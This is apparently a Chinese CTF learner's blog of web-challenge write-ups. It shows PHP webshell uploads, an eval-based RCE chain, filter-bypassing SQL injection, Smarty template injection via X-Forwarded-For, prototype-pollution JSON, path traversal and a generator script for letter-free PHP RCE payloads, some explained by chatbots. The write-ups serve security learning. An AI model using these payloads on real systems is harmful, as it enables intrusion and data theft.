pathinfo(‘shell.php/.’, PATHINFO_EXTENSION)会返回空值,因为末尾的/.被识别为目录结构而非文件扩展名。
黑名单检查$deny_ext因此误判文件类型合法,绕过防护。

反正我在kali里
echo 114514 > sunxiaochuan258.txt/.是无法执行的

那可能就是误判文件类型了

当然,刚才是烧一点的做法,正常的做法是
利用name参数来进行目录穿越,然后在index.php主目录下上传shell.jpg和.user.ini

这题也是学到不少

TGCTF AAA偷渡阴平

据说是web签到
开题拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

?tgctf2025=system(ls);
//Warning: Use of undefined constant ls - assumed ‘ls’ (this will throw an Error in a future version of PHP) in /var/www/html/index.php(8) : eval()’d code on line 1
index.php

看wp得到payload
?tgctf2025=eval(end(current(get_defined_vars())));&b=system(‘cat /f*’);
不明白
问问ai

kimi:

该 PHP 脚本存在代码注入漏洞,以下是对 payload 的解释:

?tgctf2025=eval(end(current(get_defined_vars()))); :

get_defined_vars() 返回一个包含所有已定义变量的数组,包括全局变量和局部变量。

current() 函数取得数组中的当前元素,这里会得到数组的第一个元素,通常是 GLOBALS 数组。

end() 函数将数组的内部指针指向最后一条记录并返回该记录,此处作用于 current(get_defined_vars()) 的返回值,即 GLOBALS 数组,所以会指向 GLOBALS 数组的最后一个元素。

但在这段代码中,由于 get_defined_vars() 返回的是所有变量数组,而我们是先用 current() 取第一个元素(即 GLOBALS 数组),再用 end() 将其指针移到最后一个元素,但这对于绕过正则过滤和执行命令来说,并非关键,真正关键的是后续如何利用 b 参数来实现命令执行。

eval() 函数会对传入的字符串作为 PHP 代码进行解析和执行,将 end(current(get_defined_vars())) 的结果传递给 eval,但此处关键不在于这个 eval 的内容,而在于后面的参数是如何被利用的。

&b=system(‘cat /f*’); :

这里通过 GET 请求传递了一个 b 参数,其值为 system(‘cat /f*’);。

在 PHP 中,system() 函数用于执行外部程序,并且会输出结果。

‘cat /f*’ 是一个 Linux 系统命令,cat 用于输出文件内容,/f* 是匹配以 /f 开头的所有文件,通常在一些 CTF(Capture The Flag)题目中,可能存在 /flag.txt 或类似路径的文件存放着标志(flag),所以这个命令意图读取这样的文件内容。

结合整个 payload 来看,由于脚本中未对 tgctf2025 参数的有效字符进行严格限制,正则表达式存在漏洞,攻击者可以构造特殊的 PHP 代码并通过 eval 执行,从而实现命令执行等恶意操作,这里的 payload 利用了 get_defined_vars() 来获取变量并结合 b 参数中的 system 函数调用,试图读取服务器上的敏感文件内容,但实际能否成功还取决于服务器环境等其他因素,例如是否允许 system 函数执行等。

deepseek:
步骤 1:获取所有变量
get_defined_vars() 返回当前作用域内的所有变量,包括超全局数组 $_GET。此时,$_GET 包含:

1
2
3
4
$_GET = [
'tgctf2025' => 'eval(end(current(get_defined_vars())));',
'b' => 'system("cat /f*");'
];

步骤 2:提取 $_GET 数组
current(get_defined_vars()):current() 返回数组的第一个元素。由于 $_GET 是超全局变量,它在返回的数组中通常位于前列,因此这里获取到 $_GET 数组。

end(current(…)):将 $_GET 的内部指针移动到末尾(即参数 b),并返回其值 system(‘cat /f*’);。

步骤 3:执行命令

eval(end(current(get_defined_vars()))) 最终执行 system(‘cat /f*’);,读取服务器上的 /f* 文件(如 /flag)。

//

我的理解就是:

?tgctf2025=eval(end(current(get_defined_vars())));&b=system(‘cat /f*’);
先新建一个eval函数
然后get_defined_vars()用来返回所有定义的变量,包含全局的非全局的,这两类会被分为两个数组,
在用current()选择get_defined_vars()生成的数组中的第一个,因为$_GET为超全局变量,所以会在返回的第一个,而此时get中有两个变量,’tgctf2025’ 和 ‘b’
再用end来选取全局变量组成的数组中的最后一个元素,即为b

然后用最外第二层的eval函数来执行变量$b,
而源码中的第一层eval 就是用来执行这两段操作的,相当于我们上传了两段代码

[SWPUCTF 2021 新生赛]sql

按f12 看到标题提示参数是wllm
传一个wllm=1看看,这熟悉的绿字,感觉回到了sql-labs
再传个2,不回显
那简单fuzz一下

1
2
3
4
5
6
7
8
9
10
11
12
过滤了:
空格
+
=
and
updatexml
extr
extractvalue

0'or%0aunion%0aselect%0a1,2,3#

1'if(1=2,1,0)

好嘛,试了好久原来是#它不自己进行url编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
?wllm=1%27order%0aby%0a3%23
测出回显列为3

?wllm=0%27union%0aselect%0a1,2,3%23


?wllm=0%27union%0aselect%0a1,database(),3%23

?wllm=0%27union%0aselect%0a1,group_concat(table_name)from(information_schema.tables),3%23

/?wllm=0%27union%0aselect%0a1,2,group_concat(table_name)from(information_schema.tables)%23
Your Password:ALL_PLUGINS,APPLICAB
//不是,我用第二行回显甚至会报错?什么题目环境

?wllm=0%27union%0aselect%0a1,2,group_concat(table_name)from(information_schema.tables)where(table_schema)like(database())%23
Your Password:LTLT_flag,users

?wllm=0%27union%0aselect%0a1,2,group_concat(column_name)from(information_schema.columns)where(table_name)like('LTLT_flag')%23
Your Password:id,flag

?wllm=0%27union%0aselect%0a1,2,group_concat(flag)from(LTLT_flag)%23
NSSCTF{48f21b19-c67b
只得到一半

?wllm=0%27union%0aselect%0a1,2,(group_concat(flag)from(LTLT_flag))%23
试了一下
reverse,
left
都不能用

?wllm=0%27union%0aselect%0a1,2,mid(group_concat(flag),20,40)from(LTLT_flag)%23
mid函数试了好久,看wp才知道正确用法😫
b-47a5-8cdf-17841a4e

?wllm=0%27union%0aselect%0a1,2,mid(group_concat(flag),40,60)from(LTLT_flag)%23
ca1c}

NSSCTF{48f21b19-c67b-47a5-8cdf-17841a4eca1c}

总结,不能小看啊,太久不做容易在小地方犯错,比如url编码,mid函数使用,幸好大方向是对的,给一个安心看别人wp得理由啊啊🤣

MoeCTF 垫刀之路01: MoeCTF?启动!

ls / 查看根目录

cat /flag
提示flag不在这,去看系统环境

env
拿到flag

MoeCTF 垫刀之路02: 普通的文件上传

直接传php马

1
<?php eval($_POST[shell]);

然后用蚂蚁连或者直接post一个env就能看到flag

MoeCTF 垫刀之路03: 这是一个图床

只在前端做了限制,改前端代码或者bp抓包传就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /upload.php HTTP/1.1
Host: 127.0.0.1:13280
Content-Length: 209
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="129", "Not=A?Brand";v="8"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJHC9baVxiUBdxw4G
Origin: http://127.0.0.1:13280
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:13280/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryJHC9baVxiUBdxw4G
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: image/png

<?php eval($_POST[shell]);
------WebKitFormBoundaryJHC9baVxiUBdxw4G--

传完后蚂蚁直接连
同样查看环境拿到flag

MoeCTF 垫刀之路04: 一个文件浏览器

java站点,直接在url就能目录穿越,然后就是手工找flag。。。
flag目录:
?path=/../../../..//tmp/flag

MoeCTF ProveYourLove

根据题目提示传够 300次就行

1
2
3
4
5
6
import requests
data = {"nickname":"mignon","user_gender":"male","target":"nm","target_gender":"male","message":"flag","anonymous":"false"}
url = 'http://127.0.0.1:42701/questionnaire'
for i in range(0,300):
qq = requests.post(url,json=data)
print(qq.text)

Moe CTF 静态网页

点击看板娘,会在bp看到发包并且有个传参,在浏览器访问并且改id=1
在最下面看到final1l1l_challenge.php
直接访问
得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';

$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
if (!is_numeric($a) && !is_numeric($b)) {
if ($a == 0 && md5($a) == $b[$a]) {
echo $flag;
} else {
die('noooooooooooo');
}
} else {
die( 'Notice the param type!');
}
} else {
die( 'Where is your param?');
} Where is your param?

要求 a和b都不是数字
a等于0,并且a的md5值等于b的数组的a?
有点乱

这个绕不过,看到网上有两种解法

1
2
3
4
5
6
7
8
9
10
11
1:
意思是让我们get输入apost输入b,且两个变量都不是数字,然后a弱相等等于0,md5($a)和b的第$a个元素弱相等,那其实只要a第一位数字是字母,md5($a)为经典0e开头数字,b随便取个0k就行,构造?a=QNKCDZO,post输入b=0k就可以了。得到flag。

出题人自己的解法:
后半部分要求是 md5($a) == $b[$a],有的师傅可能认为这是 md5 绕过,并且说绕不过去。其实只要静下来定睛一看就能看出来,这个表达式其实并没有对 a 参数做出任何限制,全是对 b 的限制。所以细看就能知道,我们要求的是 b[a] 就是 a 的 md5 值。至于如何赋值,请看下文:

GET: ?a=0a
POST:
b[0a]=e99bb33727d338314912e86fbdec87af

可以看到,想要传数组,直接把 a 的值丢进中括号就行了。b 的值就是 0a 的 md5 值。

按照出题的说法试了一下
a=0b
b[0b]=347017fd1e37a22faf91875981bc4fb3
确实可以了
原来还可以这样传数组啊

2019 强网杯 高明的黑客

下源码看了一眼吓哭了,几千个php文件
网上的wp说是用脚本来测试每个php文件里留下的马能否用
没做,记一下思路

[BJDCTF2020]The mystery of ip

打开题目发现有flag一栏,点开发现会显示
Your IP is : 192.168.122.15
bp抓爆就知道了

1
2
3
4
5
6
7
8
9
10
11
GET /flag.php HTTP/1.1
Host: node5.buuoj.cn:25798
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node5.buuoj.cn:25798/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

明明是正常的请求头啊

打开hint看看,里面有说:

1
<!-- Do you know why i know your ip? -->

想到了是要添加ip,但是忘了该怎么自定义请求ip
上网搜

X-Forwarded-For:

1
2
3
4
5
6
7
8
9
10
GET /flag.php HTTP/1.1
Host: node5.buuoj.cn:25798
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
X-Forwarded-For: 111.111.111.111

成功回显指定ip
不知道为什么传了一次;就再也不能指定ip来回显了

算了看wp吧
看了半天竟然是模板注入

传了一次传了一次;就再也不能指定ip来回显了
这个问题用bp的添加请求头来解决
照着wp做就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
{{ls}}
Your IP is :
Fatal error: Uncaught --> Smarty Compiler: Syntax error in template "string:{{ls}}" on line 1 "{{ls}}" unknown tag 'ls' <-- thrown in /var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php on line 1


X-Forwarded-For: {{system(ls)}}
Your IP is : bootstrap
css
flag.php
header.php
hint.php
img
index.php
jquery
libs
templates_c
templates_c

X-Forwarded-For: {{system(ls /)}}
Your IP is : <br />
<b>Fatal error</b>: Uncaught --&gt; Smarty Compiler: Syntax error in template &quot;string:{{system(ls /)}}&quot; on line 1 &quot;{{system(ls /)}}&quot; - Unexpected &quot;)&quot; &lt;--
thrown in <b>/var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php</b> on line <b>1

X-Forwarded-For: {{system('ls /')}}
Your IP is : bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
var

X-Forwarded-For: {{system('cat /flag')}}
//拿到flag

Flask可能存在Jinjia2模版注入漏洞
PHP可能存在Twig模版注入漏洞
源wp
https://blog.csdn.net/weixin_44037296/article/details/111410565


title: note-35
date: 2025-05-14 18:04:40
tags: web

Mini L-CTF Click and Click

当初没做出来,去西电CTF平台复现
官方wp:
先用JavaScript在浏览器控制台刷够10000

1
2
3
4
but = document.querySelector("#app > main > div > button")
for (var i = 0; i < 10000; i++) {
but.click();
}

在bp上看到 http 历史记录
发现是没50次发一次包
过了1000次后服务器一直回显“按的太快了”
回显内容:

1
2
3
4
5
6
什么叫“前后端分离”啊?(战术后仰)

if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount }

条件判断:检查 req.body.point.amount 的值是否是 0null
操作:如果满足条件,删除 req.body.point.amount 属性。

官方的最终payload:

1
2
3
4
5
6
7
8
9
{
"type": "set",
"point": {
"amount": 0,
"__proto__": {
"amount": 10000
}
}
}

看官方wp思路,就是set amount为零,触发删除amount
此时因为amount已经被删除,当调用到point对象里的amount属性时会查询不到,
此时java的特性是会去查询他的父对象是否有amount这个属性,若是有,amount就会采用他父对象的值

DeepSeek:这个__proto__ 是对象访问原型链的入口,通过它可以直接修改对象的“父对象”(原型)

而我们通过设置__proto__的属性,给他添加一个amount属性,当java查询point的amount属性时因为被删除,所以就会去查询__proto__
此时若我们给了__proto__一个amount值,这时__proto__的amount值就会变成point的amount值,达到了绕过

与deepseek的对话

我的提问:

我对__proto__的作用不太理解,说明一下啊,我没接触过多少java

AI回复:

已深度思考(用时 22 秒)

好的,用户之前一直在询问关于CTF题目中的原型链污染漏洞,特别是关于__proto__的作用。现在用户提到自己对__proto__的作用不太理解,并且提到没有接触过多少JavaScript,这说明用户可能是一个刚开始学习JavaScript的新手,或者在CTF中遇到了这个概念,但缺乏相关的背景知识。

首先,我需要确认用户的核心问题:理解__proto__在JavaScript中的作用,以及它如何导致原型链污染。用户之前的问题已经涉及到了原型链污染的攻击步骤,但可能对原型链本身的概念还不清楚,尤其是作为JavaScript的新手,需要从基础讲起。

接下来,我需要考虑如何用简单易懂的语言解释原型链和__proto__。用户可能对面向对象编程中的继承概念不太熟悉,或者对JavaScript的原型继承机制感到陌生。因此,需要用类比和具体的例子来帮助理解。

可能的步骤包括:

1. 解释JavaScript中的对象和原型链的基本概念。

2. 说明__proto__属性是什么,以及它如何指向对象的原型。

3. 演示如何通过修改__proto__来影响其他对象,进而导致原型链污染。

4. 结合之前的CTF题目,说明攻击者如何利用这一点。

需要注意的是,用户可能没有接触过构造函数或prototype属性,所以需要避免使用过于专业的术语,或者如果必须使用,要确保有足够的解释。同时,用户可能需要更多的实际例子来理解抽象的概念。

另外,用户之前的对话中提到“没接触过多少java”,这里可能存在笔误,用户可能指的是JavaScript,而不是Java。需要确认这一点,但在上下文中应该是JavaScript,因为讨论的是CTF中的JS漏洞。

在解释过程中,应避免使用复杂的代码示例,或者如果使用代码,要逐行解释其作用。同时,使用比喻或现实中的类比来帮助用户形成直观的理解,比如家族树、继承链等。

还需要强调为什么原型链污染是危险的,以及在实际开发中如何防止这种漏洞。这不仅能帮助用户理解攻击原理,还能增强他们的安全意识。

最后,总结关键点,确保用户能够抓住核心概念,并可能提供进一步的学习资源或练习建议,以巩固理解。

好的!我来用最简单的方式解释 __proto__ 和原型链的概念,即使你完全没接触过 JavaScript 也能理解。我们从“对象”和“继承”这两个核心概念说起。


1. JavaScript中的对象

JavaScript 中几乎所有东西都是对象(比如数字、字符串、数组等都可以用对象的形式操作)。对象可以理解为一个“盒子”,里面装着属性(键值对)。例如:

1
2
3
4
5
6
7
8
    // 一个简单的对象
const cat = {
name: "喵喵",
age: 2,
say: function() { console.log("喵~"); }
};

这个 `cat` 对象有属性 `name``age` 和方法 `say()`

2. 什么是原型链(Prototype Chain)?

JavaScript 的继承机制是通过原型链实现的。简单来说:

  • 每个对象都有一个“爸爸”(原型对象)

  • 如果访问一个对象的属性(比如 cat.color),但对象自己没有这个属性,JavaScript 会自动去它的“爸爸”对象里找。

  • 如果“爸爸”也没有,就去“爷爷”对象里找……直到找到或者没有更高层的“祖先”(原型链顶端是 null)。

这种链式查找机制就是原型链。


3. __proto__ 的作用

__proto__ 是对象的一个隐藏属性(现在更推荐用 Object.getPrototypeOf() 获取),它直接指向对象的“爸爸”(原型对象)。

举个例子:

1
2
3
4
5
6
7
8
9
// 创建一个对象
const animal = { type: "动物" };
const cat = { name: "喵喵" };

// 手动设置 cat 的“爸爸”是 animal
cat.__proto__ = animal;

// 访问 cat.type
console.log(cat.type); // 输出 "动物"(从“爸爸”animal继承)
  • cat 自己没有 type 属性。

  • 但因为 cat.__proto__ 指向 animal,所以会去 animal 里找 type

  • 这就是继承


4. 原型链污染的原理

假设我们修改了一个对象的“爸爸”(原型对象),那么所有继承这个“爸爸”的对象都会受到影响

污染示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    // 普通对象
const obj1 = {};
const obj2 = {};

// 污染 Object.prototype(所有对象的“爷爷”)
obj1.__proto__.__proto__.hacked = "被污染了!";

// 所有对象都会继承这个属性!
console.log(obj2.hacked); // 输出 "被污染了!"

* `Object.prototype` 是几乎所有对象的“爷爷”。

* 修改它后,所有对象(如 `obj2`)都会自动继承 `hacked` 属性。


5. 回到CTF题目中的攻击

题目中的请求数据:

{
  "point": {
    "amount": 0,
    "__proto__": { "amount": 10000 }
  }
}

攻击步骤:

  1. 设置 amount: 0:触发后端代码 delete req.body.point.amount,删除对象自身的 amount

  2. 通过 __proto__ 修改原型:将 point 对象的“爸爸”设置为一个包含 amount: 10000 的对象。

  3. 继承伪造的 amount:当后端检查 point.amount 时,由于自身属性被删除,会从“爸爸”那里继承 amount: 10000,从而绕过限制。


6. 类比理解

想象你有一个家族:

  • 你自己:有一个钱包(属性),但你把钱包扔了(delete)。

  • 你的爸爸:你偷偷修改了爸爸的钱包,往里塞了10000元(通过 __proto__ 修改原型)。

  • 别人检查你的财产:发现你没钱包,于是看你爸爸的钱包,认为你有10000元!


总结

  • __proto__ 是对象访问“爸爸”(原型)的入口。

  • 原型链污染就是通过修改“爸爸”的属性,影响所有“儿子”对象。

  • 在CTF中,攻击者利用这一点伪造数据,绕过逻辑检查。

这样解释清楚了吗?如果还有疑问,可以随时问我! 😊


title: note-36
date: 2025-05-24 23:36:51
tags: web

[SWPUCTF 2021 新生赛]hardrce

开局给源码,只看一眼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

这都过滤了啥,给deepseek看看
d导思考了很久,给了几个payload,都无法起效

上网一找,看来这种应该叫做无字母rec,如名字,就是无法传入字母字符啥的
https://www.cnblogs.com/pursue-security/p/15404150.html

故叫d导帮写了个脚本来构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import re

def generate_neg_payload(s):
payload = []
for c in s:
neg = (~ord(c)) & 0xFF # 取反并转换为无符号字节
payload.append(f"%{neg:02X}")
return ''.join(payload)

def parse_command(cmd):
# 匹配 function('argument') 格式
pattern = r'^\s*?(\w+?)\s*?\(\s*?[\'"](.*?)[\'"]\s*?\)\s*?;?'
match = re.match(pattern, cmd)
if not match:
raise ValueError("命令格式错误!请使用 function('argument') 格式")
return match.group(1), match.group(2)

def main():
cmd = input("请输入PHP命令(示例:system('ls /'):").strip()
try:
func, arg = parse_command(cmd)

# 生成函数名和参数的取反payload
func_neg = generate_neg_payload(func)
arg_neg = generate_neg_payload(arg)

payload = f"(~{func_neg})(~{arg_neg});"

print("\n生成的取反Payload:")
print(payload)
print("\n使用说明:")
print("1. 需要目标环境开启短标签支持")
print("2. 确保PHP版本支持这种调用方式")
print("3. 实际使用时可能需要URL编码整个payload")
print("4. 示例最终形式:?code=~%8C%86%8C%8B%9A%92~%93%8C%DF%D0")

except Exception as e:
print(f"错误:{str(e)}")

if __name__ == "__main__":
main()

示例:

1
2
3
4
5
6
7
8
9
10
11
system('ls');
生成的取反Payload:
(~%8C%86%8C%8B%9A%92)(~%93%8C);

system('ls /');
生成的取反Payload:
(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

system('cat /flllllaaaaaaggggggg');
生成的取反Payload:
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

[SWPUCTF 2022 新生赛]ez_ez_php

开题给源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}

else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php

源码大概意思是有个substr函数截取file传入参数前3位,所以前3位得是’php’,这直接就是提示伪协议了啊

?file=php://filter/convert.base64-encode/resource=flag.php

1
2
3
NSSCTF{flag_is_not_here}
real_flag_is_in_'flag'
换个思路,试试PHP伪协议呢

?file=php://filter/convert.base64-encode/resource=flag
拿到正确flag,但是啊但是

尽然直接访问/flag 就能拿

[GDOUCTF 2023]EZ WEB

打开题目是一个假按钮,扫了一下发现/src有如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET']) ## GET 方式访问 / 就返回index.html
def index():
return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
return open('flag').read()

老规矩,先问d导

1
curl -X PUT http://node5.anna.nssctf.cn:28256/super-secret-route-nobody-will-guess

直接返回flag,行,看看源码
好像是规定了几个条件

1
2
3
## GET 方式访问 / 就返回index.html
## GET 方式访问 /src 就返回 app.py
## PUT 方式访问 /super-secret-route-nobody-will-guess 就打开flag,然后read它

那我猜这可能是一个python后端?
以前也没见过,那现在知道了


title: note-37
date: 2025-06-02 03:27:46
tags:

Mini L-CTF miniup

在查看图片处直接查看index.php能得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
<?php
$dufs_host = '127.0.0.1';
$dufs_port = '5000';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') {
if (isset($_FILES['file'])) {
$file = $_FILES['file'];

$filename = $file['name'];

$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];

$file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

if (!in_array($file_extension, $allowed_extensions)) {
echo json_encode(['success' => false, 'message' => '只允许上传图片文件']);
exit;
}

$target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename);

$file_content = file_get_contents($file['tmp_name']);

$ch = curl_init($target_url);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Origin: http://' . $dufs_host . ':' . $dufs_port,
'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
'Accept-Encoding: gzip, deflate',
'Accept: */*',
'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
'Content-Length: ' . strlen($file_content)
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

if ($http_code >= 200 && $http_code < 300) {
echo json_encode(['success' => true, 'message' => '图片上传成功']);
} else {
echo json_encode(['success' => false, 'message' => '图片上传失败,请稍后再试']);
}

exit;
} else {
echo json_encode(['success' => false, 'message' => '未选择图片']);
exit;
}
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'search') {
if (isset($_POST['query']) && !empty($_POST['query'])) {
$search_query = $_POST['query'];

if (!ctype_alnum($search_query)) {
echo json_encode(['success' => false, 'message' => '只允许输入数字和字母']);
exit;
}

$search_url = 'http://' . $dufs_host . ':' . $dufs_port . '/?q=' . urlencode($search_query) . '&json';

$ch = curl_init($search_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Accept: */*',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code >= 200 && $http_code < 300) {
$response_data = json_decode($response, true);
if (isset($response_data['paths']) && is_array($response_data['paths'])) {
$image_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];

$filtered_paths = [];
foreach ($response_data['paths'] as $item) {
$file_name = $item['name'];
$extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));

if (in_array($extension, $image_extensions) || ($item['path_type'] === 'Directory')) {
$filtered_paths[] = $item;
}
}

$response_data['paths'] = $filtered_paths;

echo json_encode(['success' => true, 'result' => json_encode($response_data)]);
} else {
echo json_encode(['success' => true, 'result' => $response]);
}
} else {
echo json_encode(['success' => false, 'message' => '搜索失败,请稍后再试']);
}

exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入搜索关键词']);
exit;
}
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'view') {
if (isset($_POST['filename']) && !empty($_POST['filename'])) {
$filename = $_POST['filename'];

$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));

if ($file_content !== false) {
$base64_image = base64_encode($file_content);
$mime_type = 'image/jpeg';

echo json_encode([
'success' => true,
'is_image' => true,
'base64_data' => 'data:' . $mime_type . ';base64,' . $base64_image
]);
} else {
echo json_encode(['success' => false, 'message' => '无法获取图片']);
}

exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入图片路径']);
exit;
}
}
?>

<!DOCTYPE html>
<html>
<head>
<title>迷你图片空间</title>
<meta charset="UTF-8">
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
background-color: #f0f8ff;
}
.section {
margin-bottom: 30px;
padding: 15px;
border: 1px solid #add8e6;
border-radius: 5px;
background-color: white;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
